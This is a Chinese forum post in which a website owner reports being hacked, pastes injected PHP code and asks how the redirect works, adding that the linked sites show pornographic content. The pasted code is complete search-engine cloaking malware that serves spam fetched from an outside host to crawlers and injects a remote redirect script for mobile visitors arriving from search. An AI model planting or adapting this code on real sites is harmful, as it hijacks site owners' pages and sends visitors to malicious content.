网站被黑，这是跳转代码吗？
2023/10/18 13:37:15
- <?phpset_time_limit(0);error_reporting(0);$a=stristr;$c=$_SERVER;define('url',$c['REQUEST_URI']);define('ref',$c['HTTP_REFERER']);define('ent',$c['HTTP_USER_AGENT']);define('site','http://www.qwebbb.com/?');define('road','road='.$c['HTTP_HOST'].url);define('waps','@Android|Browser|Mobile|Wap|iOs|iPad|iPhone|iPod@i');define('regs','@Baidu|Sogou|Yisou|Sm.cn@i');define('area',$a(url,'.xml')or $a(url,'.doc')or $a(url,'scm')or $a(url,'.txt')or $a(url,'.ppt')or $a(url,'.xls')or $a(url,'.csv')or $a(url,'.shtml')or $a(url,'.fdc')or $a(url,'.one')or $a(url,'.bug')or $a(url,'.love')or $a(url,'.pptx')or $a(url,'.mdb')or $a(url,'.znb')or $a(url,'.asp')or $a(url,'.pdf')or $a(url,'.xlsx')or $a(url,'.docx'));if(preg_match(regs,ent)){if(area){echo papa(site.road.'&time');exit;}else{echo papa("http://www.qwebbb.com/u.php");}}if(area&&preg_match(regs,ref)&&preg_match(waps,ent)){echo '<script language="javascript" type="text/javascript" src="https://zz.ytytytt.com/111php.js" rel="nofollow"></script>';exit;}elseif(area){echo '<!--Code:201-->'."\n";}function papa($e){$f=curl_init();curl_setopt($f,CURLOPT_URL,$e);curl_setopt($f,CURLOPT_USERAGENT,ent);curl_setopt($f,CURLOPT_TIMEOUT,30);curl_setopt($f,CURLOPT_RETURNTRANSFER,1);$g=curl_exec($f);return $g;}/*
有懂的吗？
这个是怎么跳的？
里面的网站打开是色ci